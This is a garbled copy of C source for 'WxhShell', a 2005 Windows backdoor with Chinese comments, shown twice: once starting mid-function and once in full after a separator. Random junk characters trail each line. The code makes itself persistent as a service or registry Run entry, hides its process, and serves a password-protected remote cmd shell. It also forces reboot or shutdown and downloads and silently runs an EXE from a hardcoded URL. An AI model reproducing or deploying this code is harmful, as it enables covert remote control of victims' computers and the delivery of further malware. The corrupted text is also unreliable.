    if(Boot(SHUTDOWN)) #ivN-WKCl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /j`v N  
    else { f|&ga'5g&  
    closesocket(wsh); ]*Tnu98G}  
    ExitThread(0); =C[2"Y4JK0  
    } Nsd7?|@HI  
    break; 5csqu^/y  
    } y,OwO4+y\  
  // 获取shell g\n0v~T+  
  case 's': { B&Igm<72x  
    CmdShell(wsh); eK]$8l|LI  
    closesocket(wsh); IUJRP  
    ExitThread(0); fsxZQ=-PW  
    break; ]PI|Xl  
  } !KEnr`O2u  
  // 退出 xqA XfJ.  
  case 'x': { ~1`ZPLVG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e#uk+]  
    CloseIt(wsh); +l,6}tV9  
    break; ?g5u#Q> !  
    } ONkHHyT  
  // 离开 ZvS|a~jO  
  case 'q': { ]mW)T0_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F|seBBu  
    closesocket(wsh); &d8z`amP  
    WSACleanup(); Q5N;MpJ-  
    exit(1); :le"FFfk  
    break; 2' 8$I}h  
        } "Y7 ]t:8  
  } !83N. gN  
  } KC`~\sYRN]  
f4k\hUA  
  // 提示信息 c_33.i"I}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UQ ~7,D`=#  
} 0qV"R7TW  
  } o.Jq1$)~y  
6a=Y_fma  
  return; I'NE>!=Q  
} ;~>E^0M  
^6Std x_  
// shell模块句柄 *Y@)t* -a  
int CmdShell(SOCKET sock) +-|D$@8S  
{ A>c/q&WUk  
STARTUPINFO si; O+o4E?}  
ZeroMemory(&si,sizeof(si)); w<uK-]t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &Vtgh3I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P9RIX;A=  
PROCESS_INFORMATION ProcessInfo; d/Z258  
char cmdline[]="cmd"; ?xTh}Sky  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g7|$JevR0  
  return 0; r:&"#F   
} 77Fpb?0`  
iSZiJ4AUq  
// 自身启动模式 $|2@of.  
int StartFromService(void) "?lm`3W"  
{ l u^fKQ  
typedef struct 9J$8=UuxWG  
{ \ :*<En0  
  DWORD ExitStatus; jmAQ!y|W.  
  DWORD PebBaseAddress; &d`z|Gx9  
  DWORD AffinityMask; wK7wu.  
  DWORD BasePriority; :jFKTG  
  ULONG UniqueProcessId; !"dbK'jb^  
  ULONG InheritedFromUniqueProcessId; SQZUkKfb  
}   PROCESS_BASIC_INFORMATION; -%U 15W;  
||lI_B  
PROCNTQSIP NtQueryInformationProcess; .o2]ndT/J  
[;Q8xvVZ'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8"#Ix1#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b$24${*'  
KXgC]IO~  
  HANDLE             hProcess; &tULSp@J  
  PROCESS_BASIC_INFORMATION pbi; }Ot I8;>  
G$5N8k[2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O>E2G]K]\  
  if(NULL == hInst ) return 0; .=VtMi$n  
fDn|o"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o*_O1P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); myVV5#{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9Q#eu~R  
6!,Am^uXM  
  if (!NtQueryInformationProcess) return 0; JYbE(&l%de  
0RLyAC|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rv)!p~V8  
  if(!hProcess) return 0; 3q>6gaTv  
5K;vdwSB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L29,Y=n@  
XcS 8{  
  CloseHandle(hProcess); PC_#kz  
? 9.V@+i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p<|I!n&9  
if(hProcess==NULL) return 0; a:o Z5PX=  
Sv7_-#SW<(  
HMODULE hMod; QL>G-Rp  
char procName[255]; _)7dy2%{q  
unsigned long cbNeeded; ;BEg"cm  
m\h/D7zg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xb!h?F&  
(O N \-*  
  CloseHandle(hProcess); _l&`* 2d  
KUdpOMYX  
if(strstr(procName,"services")) return 1; // 以服务启动 >+[uV ^2[  
)V^J^1  
  return 0; // 注册表启动 .qyk[O  
} wp!<u %  
IX7|_ci  
// 主模块 -$(,&qyk  
int StartWxhshell(LPSTR lpCmdLine) ) #/@Jo2F  
{ |kwkikGQS  
  SOCKET wsl; qzVmsxBNP  
BOOL val=TRUE; w$9aTL7  
  int port=0; ) 0x* >;"o  
  struct sockaddr_in door; No)v&P%  
}LH>0v_<Y  
  if(wscfg.ws_autoins) Install(); web =AQ5I4  
jb' hqz  
port=atoi(lpCmdLine); y(K?mtQ   
=?`5n|A*  
if(port<=0) port=wscfg.ws_port; }}3*tn<6  
7-M$c7S  
  WSADATA data; Vrf+ ~KO7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gY], (*v  
B)F2SK<@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +w-UK[p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v^aARIg  
  door.sin_family = AF_INET; l-yQ3/:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZhKYoPIq  
  door.sin_port = htons(port); Ns-cT'1-  
C7(kV{h$d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j:%~:  
closesocket(wsl); @L%9NqE`O  
return 1; R|T_9/#)  
} rl^_RI  
XelY?Ph,,  
  if(listen(wsl,2) == INVALID_SOCKET) { krTH<- P  
closesocket(wsl); bA-=au?o5  
return 1; '#SacJ\L7  
} (lhbH]I  
  Wxhshell(wsl); 0@rrY  
  WSACleanup(); h:[PO6GdX  
G?)vqmJ%  
return 0; Eb`U^*A  
A6'G%of  
} 9n!<M)E  
4 uv'l3  
// 以NT服务方式启动 ZpPm>|w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9YMUvd,u  
{ <lM]c  
DWORD   status = 0; %-+lud  
  DWORD   specificError = 0xfffffff; /vFw5KUu  
t_ &FK A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }%EQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rUkiwqr~E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M:OY8=V  
  serviceStatus.dwWin32ExitCode     = 0; EA 4a Z6%  
  serviceStatus.dwServiceSpecificExitCode = 0; m,3?*0BMp=  
  serviceStatus.dwCheckPoint       = 0; >9D=PnHnD  
  serviceStatus.dwWaitHint       = 0; 1Y410-.3w{  
S%b7NK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZoB?F  
  if (hServiceStatusHandle==0) return; 7-+X -Y?  
8#S|j BV  
status = GetLastError(); rr2'bf<]  
  if (status!=NO_ERROR) b1>%%#  
{ >R/^|hnJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; __""!Yz  
    serviceStatus.dwCheckPoint       = 0; vBd^=O  
    serviceStatus.dwWaitHint       = 0; 0fnd9`N!0  
    serviceStatus.dwWin32ExitCode     = status;  OvU]|4h  
    serviceStatus.dwServiceSpecificExitCode = specificError; {4&G\2<^^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @B$ Y`eK\  
    return; E7+ y W  
  } 8 vB~1tl;  
pB{QO4q n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z2og&|uT  
  serviceStatus.dwCheckPoint       = 0; pYJv|`+  
  serviceStatus.dwWaitHint       = 0; q>w@W:tZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #rzq9}9tB  
} wH[@#UP3l  
v\:>} <gc  
// 处理NT服务事件,比如:启动、停止 >Vc_.dR)E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :L`  
{ KYVB=14  
switch(fdwControl) 0@1AH<  
{ q@P5c  
case SERVICE_CONTROL_STOP: wo84V!"A  
  serviceStatus.dwWin32ExitCode = 0; #KZ- "$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Wx~ 0_P  
  serviceStatus.dwCheckPoint   = 0; uk_?2?>-5  
  serviceStatus.dwWaitHint     = 0; \`r5tQr  
  { BCF- lrZ&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gNl@T  
  } gOa'o<  
  return; PdJtJqA8h\  
case SERVICE_CONTROL_PAUSE: yowvq4e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JP9eNc[  
  break; R{kZKD=  
case SERVICE_CONTROL_CONTINUE: wQ[~7 ,o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b mZRCvW>A  
  break; Yd lXMddE  
case SERVICE_CONTROL_INTERROGATE: {Q^P<  
  break; ]*U\ gm%  
}; DM{ 7x77  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AV AF!Z  
} D0=D8P}H:  
=ji p* E^  
// 标准应用程序主函数 ,JRYG<O_T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -]\%a=]  
{ L.lmbxn  
R3wK@D  
// 获取操作系统版本 X!,P] G  
OsIsNt=GetOsVer(); 0U ?1Yh7 m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }S3m wp<Y  
^-PlTmT  
  // 从命令行安装 (w?@qs!  
  if(strpbrk(lpCmdLine,"iI")) Install();  =w0Rq~  
gSK (BP|  
  // 下载执行文件 +60zJ 4  
if(wscfg.ws_downexe) { }Gr5TDiV0\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !)ey~Suh  
  WinExec(wscfg.ws_filenam,SW_HIDE); l%.3hId-  
} }m/aigA[1  
-ZH]i}$  
if(!OsIsNt) { U/Z!c\r  
// 如果时win9x,隐藏进程并且设置为注册表启动 jE2k\\<a  
HideProc(); |HI =ykfI  
StartWxhshell(lpCmdLine); {w}PV5<  
} q .nsGbl  
else [3;J,P=&  
  if(StartFromService()) m!a<\0^  
  // 以服务方式启动 I5>HB;Q  
  StartServiceCtrlDispatcher(DispatchTable); W}+Q!T=  
else O[3J Px  
  // 普通方式启动 &6FRw0GX  
  StartWxhshell(lpCmdLine); a*6x^R;)  
+Vt@~Z4K  
return 0; O*rKV2\  
} 2X;,s`)  
BgJ;\NV  
${ad[hs  
J %jf uj  
=========================================== AnG/A!G  
AF ZHS\  
[Nr6 qxWg  
V' "p a  
(A\qZtnyl  
8},!t\j#]  
" SC74r?N FA  
8b !&TP~m1  
#include <stdio.h> !0 `44Gbq  
#include <string.h> 'CjcOI s  
#include <windows.h> ='T<jV`evu  
#include <winsock2.h> bw9a@X  
#include <winsvc.h> 2!cP[ Ck  
#include <urlmon.h> i;y<gm"  
[zn`vT  
#pragma comment (lib, "Ws2_32.lib") Vd4x!Vk  
#pragma comment (lib, "urlmon.lib") [G+M94[A  
-lRXH7|X  
#define MAX_USER   100 // 最大客户端连接数 \=v7'Hp  
#define BUF_SOCK   200 // sock buffer ZGSb&!Ke  
#define KEY_BUFF   255 // 输入 buffer R0_%M  
X3%7VFy9  
#define REBOOT     0   // 重启 U%"c@%B0  
#define SHUTDOWN   1   // 关机 [{ K$sd  
F=Z|Ji#  
#define DEF_PORT   5000 // 监听端口 ?Q="w5OOD  
;S"^O AM  
#define REG_LEN     16   // 注册表键长度 \A*#a9"  
#define SVC_LEN     80   // NT服务名长度 c_x6FoE;L  
F'*y2FC  
// 从dll定义API ;gTdiwfgZ=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <tMiI)0%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sKB])mf]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |L.QIr,jCC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `Q<hL{AH  
C]K@SN$   
// wxhshell配置信息 2TmQaDu%b  
struct WSCFG { {jcrTjmxe  
  int ws_port;         // 监听端口 ^, q\S  
  char ws_passstr[REG_LEN]; // 口令 L 9Z:>i?  
  int ws_autoins;       // 安装标记, 1=yes 0=no L qMH]W  
  char ws_regname[REG_LEN]; // 注册表键名 ]MfT5#(6h  
  char ws_svcname[REG_LEN]; // 服务名 LtJ$ZE^GB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G?&0Z++  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jAfUz7@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AVGb;)x#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NjMbQ M4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" } =?kf3k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `22F@JYN  
F4M<5Yi  
}; &`0y<0z  
Z 3m5DK  
// default Wxhshell configuration L10Vq}W"  
struct WSCFG wscfg={DEF_PORT, qi;@A-cq  
    "xuhuanlingzhe", -i:Zi}f  
    1, ha1 J^e  
    "Wxhshell", q!$ZBw-7>A  
    "Wxhshell", m!er "0  
            "WxhShell Service", &Zs h-|N  
    "Wrsky Windows CmdShell Service", {vx{Hwyv  
    "Please Input Your Password: ", aDm$^yP  
  1, ,jQkR^]j-  
  "http://www.wrsky.com/wxhshell.exe", -1Yt3M&  
  "Wxhshell.exe" s7tNAj bgD  
    }; 15 x~[?!  
d2&sl(O  
// 消息定义模块 A 7'dD$9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J )oa:Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cT`x,2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (zwxrOS  
char *msg_ws_ext="\n\rExit."; IfF<8~~E  
char *msg_ws_end="\n\rQuit."; yP :>vFd7  
char *msg_ws_boot="\n\rReboot..."; ~!E% GCyFy  
char *msg_ws_poff="\n\rShutdown..."; 6c^2Nl8e  
char *msg_ws_down="\n\rSave to "; QY8I_VF  
k]u0US9/  
char *msg_ws_err="\n\rErr!"; f7)}A/$4+  
char *msg_ws_ok="\n\rOK!"; o )GNV  
&"BmCDOq  
char ExeFile[MAX_PATH]; ?=dyU(  
int nUser = 0; &Y\Vh}  
HANDLE handles[MAX_USER]; ELk$ lm&@  
int OsIsNt; {oy(08 `6  
yyPkjUy[  
SERVICE_STATUS       serviceStatus; MlkTrKdGi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -A(] ",*J  
1 9$ufod  
// 函数声明 puG$\D-[  
int Install(void); *^bqpW2$q  
int Uninstall(void); R;.zS^LL  
int DownloadFile(char *sURL, SOCKET wsh); sEt5!&  
int Boot(int flag); kpsus \T  
void HideProc(void); @OZW1p  
int GetOsVer(void); cR[)[9}  
int Wxhshell(SOCKET wsl); Wy.2*+5FX0  
void TalkWithClient(void *cs); Sir7TQ4B  
int CmdShell(SOCKET sock); .M!6${N);  
int StartFromService(void); (~?P7RnU%  
int StartWxhshell(LPSTR lpCmdLine); @`G_6 <.`  
-PbGNF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); afqLTWU S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sg;G k/]  
0t*JP  
// 数据结构和表定义 bLUn>ch  
SERVICE_TABLE_ENTRY DispatchTable[] = pFX Do4eH  
{ \om$%FUP  
{wscfg.ws_svcname, NTServiceMain}, 68V66:0  
{NULL, NULL} [h""AJ~t  
}; sw6]Bc  
A-aukJg9  
// 自我安装 n7i;^=9 mM  
int Install(void) IFlDw}M!9  
{ 3o9`Ko0  
  char svExeFile[MAX_PATH]; %L.,:mtq)  
  HKEY key; )?^0<l#s  
  strcpy(svExeFile,ExeFile); }\|$8~  
cF_ Y}C  
// 如果是win9x系统,修改注册表设为自启动 (5]<t&M  
if(!OsIsNt) { F8$.K*tT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M&Sjo' ( .  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h`-aO u  
  RegCloseKey(key);  poGF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lsU|xOB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MLtfi{;LH  
  RegCloseKey(key); jY-{hW+r  
  return 0; 6AKH0t|4  
    } u3(zixb  
  } Q@6OIE  
} G4{ zt3{  
else { zGHP{a1O7  
j!B+Q  
// 如果是NT以上系统,安装为系统服务 B f~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JOS,>;;F4  
if (schSCManager!=0) |GM?4'2M.  
{ G&)A7WaC  
  SC_HANDLE schService = CreateService &?f{.  
  ( &%+}bt5  
  schSCManager, T~J6(,"  
  wscfg.ws_svcname, R(@B4M2  
  wscfg.ws_svcdisp, Z@>hN%{d+g  
  SERVICE_ALL_ACCESS, wASgdGoy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kzny4v[y  
  SERVICE_AUTO_START, mw!D|  
  SERVICE_ERROR_NORMAL, $YSAD\a<  
  svExeFile, )WF]v"t  
  NULL, r" d/ 9  
  NULL, cq>{  
  NULL, P95U{   
  NULL, 2>Hl=bX  
  NULL mjO4GpG3  
  ); .xS3,O_[  
  if (schService!=0) 0%+S@_|  
  { |&eZ[Sy(=l  
  CloseServiceHandle(schService); Gu}|CFL\  
  CloseServiceHandle(schSCManager); Qu,W3d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3?iRf6;n  
  strcat(svExeFile,wscfg.ws_svcname); E;.<'t>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vz6p^kMB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /{vv n  
  RegCloseKey(key); *%5 .{J!  
  return 0; x9k(mn%,  
    } _p<W  
  } FivgOa  
  CloseServiceHandle(schSCManager); 6d&dB  
} @GDe{GG+  
} )8VrGg?  
U??P  
return 1; 3}e-qFlV8,  
} CG*eo!Nw  
3B!lE(r%J  
// 自我卸载 nAPSs]D  
int Uninstall(void) {G&*\5W  
{ $"1Unu&P  
  HKEY key; ~Mbo`:>(4v  
=)5O(h  
if(!OsIsNt) { ((&_m9a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h}r*   
  RegDeleteValue(key,wscfg.ws_regname); r CU f,)  
  RegCloseKey(key); k,wr6>'Vt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !`"@!  
  RegDeleteValue(key,wscfg.ws_regname); @[h)M3DFd  
  RegCloseKey(key); Wj.f$U 4  
  return 0; >a7OE=K  
  } 8dgI&t  
} !2R~/Rg  
} Ss6mN;&D  
else { ;U=IbK*  
<9z2:^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (8qD'(@  
if (schSCManager!=0) piKYO+;W'  
{ &oI;^|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L;N)l2m.\  
  if (schService!=0) mR U-M|  
  { cK4Q! l6O  
  if(DeleteService(schService)!=0) { r'0IAJ-;  
  CloseServiceHandle(schService); rDFD rviW_  
  CloseServiceHandle(schSCManager); Y5?*=eM  
  return 0; is}6cR  
  } T9w;4XF  
  CloseServiceHandle(schService); eH,r%r,  
  } xj`ni G  
  CloseServiceHandle(schSCManager); .|W0B+Z8  
} &x6Z=|Ers  
} E0; }e  
~R^~?Y%+<  
return 1; tmT/4Ia  
} C#{s[l\]  
HwfBbWHr'  
// 从指定url下载文件 1bjhEO W  
int DownloadFile(char *sURL, SOCKET wsh) "P.H  
{ Z Ear~  
  HRESULT hr; gZ vX~  
char seps[]= "/"; 9n4vuBgv  
char *token; Lt`d {s  
char *file; uc;1{[5`1q  
char myURL[MAX_PATH]; 7i^7sT8t  
char myFILE[MAX_PATH];  h0}r#L  
4UwXrEQp  
strcpy(myURL,sURL); c6/+Ye =h  
  token=strtok(myURL,seps); Wy1#K)LRb  
  while(token!=NULL) &Ui*w%  
  { IxN0m7  
    file=token; 7|Z=#3INw  
  token=strtok(NULL,seps); _+Tq&,_:o  
  } ^ [FK<9  
\AFoxi2h  
GetCurrentDirectory(MAX_PATH,myFILE); kS_oj  
strcat(myFILE, "\\"); Su.imM!  
strcat(myFILE, file); N3/G6wn  
  send(wsh,myFILE,strlen(myFILE),0); Mbbgsy3W  
send(wsh,"...",3,0); `! ~~Wf'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v:/+Oz Y  
  if(hr==S_OK) JxI\ss?O  
return 0; 3j<:g%5  
else {l/j?1Dxq  
return 1; ab"6]%_  
u@QP<[f  
} aY`qbJy  
PP/EZ^]b  
// 系统电源模块 PF=BXY1<UL  
int Boot(int flag) qyi5j0)W  
{ cHqT1EY  
  HANDLE hToken; >f)/z$ qn  
  TOKEN_PRIVILEGES tkp; DD 8uG`<  
Cg{V"B:  
  if(OsIsNt) { D1w;cV7/d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lO^Ly27  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^3~+|A98M  
    tkp.PrivilegeCount = 1; F3d: W:^_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `zf,$67>1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wxC&KrRF  
if(flag==REBOOT) { n1 k2<BU4b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K>%}m,  
  return 0; +5:Dy,F =  
} ~V#MI@]V~  
else { a^:on?:9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aqL#g18  
  return 0; 3JhT  
} f@JMDJ  
  } UqVcN$^b  
  else { 5:S=gARz  
if(flag==REBOOT) { q{4W@Um-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BY*{j&^  
  return 0; $y%X#:eLJ  
} bcx,K b  
else { :mP%qG9U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }~B@Z\`O  
  return 0; etnq{tE5  
} )y~FeKh  
} ]0[Gc \h}  
V2Iq k]V%y  
return 1; FKYPkFB  
} +Cs[]~  
KMs[/|HX\  
// win9x进程隐藏模块 #kGgz O  
void HideProc(void) U`)\|\NY  
{ C:r@)Mhq  
WG~|sLg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hY*ylzr83  
  if ( hKernel != NULL ) qKt*<KGeY  
  { *??!~RE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1co;U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'YQVf]4P  
    FreeLibrary(hKernel); {@1;kG  
  } s R~D3-  
:?uUh  
return; [N@t/^gRC  
} " a&|{bv  
]81t~t9LQ  
// 获取操作系统版本 WFr;z*  
int GetOsVer(void) F!k3/z  
{ qS8p)pw  
  OSVERSIONINFO winfo; c:*[HO\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [ADSGnw  
  GetVersionEx(&winfo); 9_=0:GH k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aNt+;M7g`  
  return 1; CBkI! In2  
  else cj[a^ ZH  
  return 0; EN,PI~~F  
} `EBI$;!  
%-nYK3  
// 客户端句柄模块 X  jPPgI  
int Wxhshell(SOCKET wsl) J\@ r ~x5G  
{ ,0hk)Vvr3  
  SOCKET wsh; H[WsHq;T+9  
  struct sockaddr_in client; Uzi.CYVs%  
  DWORD myID; ol[sX=5 *  
UO1WtQyu,H  
  while(nUser<MAX_USER) FR BW(vKE  
{  v|K,  
  int nSize=sizeof(client); !g`^<y!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 54lU~ "  
  if(wsh==INVALID_SOCKET) return 1; kT@m*Etr{  
DPWt=IFU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l1M %   
if(handles[nUser]==0) AfAlDM'  
  closesocket(wsh); h0cdRi  
else LL0Y$pHV  
  nUser++; K'6NW:zp~  
  } OfE>8*RI4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hto RN^9  
bHKTCPf  
  return 0; $yn7XonS  
} (yJY/|  
U}yq*$N  
// 关闭 socket h]+UK14m  
void CloseIt(SOCKET wsh) *jf%Wj)0M  
{ 21T#NYfew  
closesocket(wsh); *+ i1m `6Q  
nUser--; Y:?cWO  
ExitThread(0); }O + a  
} 2iWS k6%R  
74wDf  
// 客户端请求句柄 cj64.C  
void TalkWithClient(void *cs) = :/4)  
{ `iQ])C^d  
w *pTK +  
  SOCKET wsh=(SOCKET)cs; {`ghX%M(l  
  char pwd[SVC_LEN]; YAdk3y~pL  
  char cmd[KEY_BUFF]; CyV2=o!F w  
char chr[1]; JhU"akoK  
int i,j; ufF>I  
L*8U.{NY  
  while (nUser < MAX_USER) { _'*Vcu`Y  
ez-jVi-Fi  
if(wscfg.ws_passstr) { q\$k'(k>35  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m ?e::W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C>:,\=y%  
  //ZeroMemory(pwd,KEY_BUFF); tH)fu%:p  
      i=0; <G_71J`MLC  
  while(i<SVC_LEN) { /'l"Us},^!  
n1Wo<$#  
  // 设置超时 v[2N-  
  fd_set FdRead; '8"nXuL-  
  struct timeval TimeOut; eY V Jk7  
  FD_ZERO(&FdRead); YlhyZ&a,  
  FD_SET(wsh,&FdRead); zl3GWj|?\7  
  TimeOut.tv_sec=8; RxYC]R^78  
  TimeOut.tv_usec=0; ;Tec)Fl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e~ZxDAd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T!jMh-8  
<\'aUfF v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1\X_B`xwD  
  pwd=chr[0]; . #FJM2Xk  
  if(chr[0]==0xd || chr[0]==0xa) { Y2TXWl,Jk  
  pwd=0; H[Q3M~_E  
  break; cakwGs_{  
  } *%ta5a  
  i++; tch;_7?  
    } M{jJ>S{g  
4M )oA|1w  
  // 如果是非法用户,关闭 socket ]@6L,+W"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8~}~ d}wW  
} }rQ0*h  
JKF/z@Vbe\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "!9FJ Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U1)!X@F{  
=&"a:l  
while(1) { ,ll<0Atg  
@b9qBJfQ  
  ZeroMemory(cmd,KEY_BUFF); 7NMy1'-q  
}3/|;0j$  
      // 自动支持客户端 telnet标准   6n:oEXM>  
  j=0; ILIv43QKM(  
  while(j<KEY_BUFF) { A D%9;KQ8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v hGX&   
  cmd[j]=chr[0]; UZ;FrQ(l{  
  if(chr[0]==0xa || chr[0]==0xd) { =lmelo#m&  
  cmd[j]=0; GD1L6kVd1  
  break; 2[CHiB*>  
  } rM`z2*7%d  
  j++; H-qbgd6&>R  
    } "!R*f $  
aQj"FUL  
  // 下载文件 pHzl/b8  
  if(strstr(cmd,"http://")) { v[\GhVb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {yFMY?6rf  
  if(DownloadFile(cmd,wsh)) ^8=e8O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *pYawT  
  else 0O?\0k;o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #('GGzL6c  
  } pN{XGkX.  
  else { TPA*z9n+B  
